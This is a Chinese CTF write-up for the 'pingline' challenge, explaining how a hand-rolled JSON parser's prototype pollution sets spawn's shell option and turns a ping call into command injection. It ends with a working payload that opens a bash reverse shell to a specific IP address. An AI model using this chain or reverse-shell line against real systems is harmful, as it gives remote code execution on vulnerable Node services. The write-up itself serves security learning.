登录后台

页面导航

pingline

源码如下,自己加了点调试语句

"use server";

import { spawn } from "node:child_process";

/*
 * Reinventing the wheel and make it square
 * Because JSON.parse is not available in the server environment (really?)
 */
function jsonParse(
  str: string,
  ret?: Record<string, any>
): Record<string, any> {
  ret ??= {};


  if (!(str.startsWith("{") && str.endsWith("}"))) {
    return ret;
  }

  const matches = str
    .slice(1, str.length - 1)
    .matchAll(
      /(?:^|,)\s*"(?<key>\w+)"\s*:\s*(?<value>\d+|(?:true|false)|"(?:\\.|[^"])*"|\{.+?})/g
    );
  for (const match of matches) {
    const { key, value } = match.groups!;
    if (value.startsWith('"')) {
      ret[key] = value
        .slice(1, value.length - 1)
        .replace(/\\(u([0-9a-fA-F]{4})|.)/g, (_, m: string, code: string) =>
          m === "u"
            ? String.fromCharCode(parseInt(code, 16))
            : ({ b: "\b", f: "\f", n: "\n", r: "\r", t: "\t" }[m] ?? m)
        );
    } else if (value.startsWith("{")) {
      if (!(key in ret)) ret[key] = {};
      jsonParse(value, ret[key]);
    } else {
      ret[key] = { true: true, false: false }[value] ?? +value;
    }
  }

  return ret;
}

export async function pingAction(data: string, count: number = 4) {
  // 打印接收到的 data
  console.log("Received data:", data);
  const body: { ip?: string } = jsonParse(data);
  console.log(body.__proto__);
  console.log("body:", body);
  console.log("body.ip:", body.ip);
  const proc = spawn("ping", [`-c${count}`, body.ip!, "-W1"], {
    stdio: ["inherit", "pipe", "pipe"],
    env: { ...process.env, LC_ALL: "C.UTF-8" },
  });

  console.log(proc);
  let output = "";
  proc.stdout.on("data", (data) => (output += data));
  proc.stderr.on("data", (data) => (output += data));

  await new Promise((resolve) => proc.on("close", resolve));

  return output;
}

很明显jsonParse有个原型链污染

2024-10-24T12:19:54.png

这里我们把一个ip传进来作为ping的参数
2024-10-24T12:20:57.png

因为spawn只能传递参数,所以是不能命令拼接的。然后我们参考新版JS Prototype Pollution to RCE学习解析,显然考点就是这个了。
我们先看一下官方文档关于这个函数,可以看到有个shell参数可以是bool或string
2024-10-24T12:29:42.png

询问chatgpt这里可以是不同的shell
2024-10-24T12:31:52.png

指定之后我们就可以拼接命令了,而且成功执行了。为什么呢?
2024-10-24T12:35:50.png

先看一下不自定义shell的情况下会怎样
2024-10-24T12:38:31.png

定义了之后args变成了bash -c
2024-10-24T12:39:47.png

我们改shell为python也可以,所以只要shell的值有-c就可以了。
2024-10-24T12:44:15.png

["{\"__proto__\":{\"shell\":\"bash\"},\"ip\":\"www.baidu.com|/bin/bash -i >& /dev/tcp/124.221.19.214/2333 0>&1|ping www.baidu.com\"}"]

污染shell之后成功弹shell

2024-10-24T12:49:13.png

但是这里为什么能污染成功,重点是
const proc = spawn("ping", [-c${count}, ip, "-W1"],{});里的{},我们之前给{}的原型污染了一个shell属性,所以这个options里面就也有了这个属性,如果去掉{},就无法污染成功。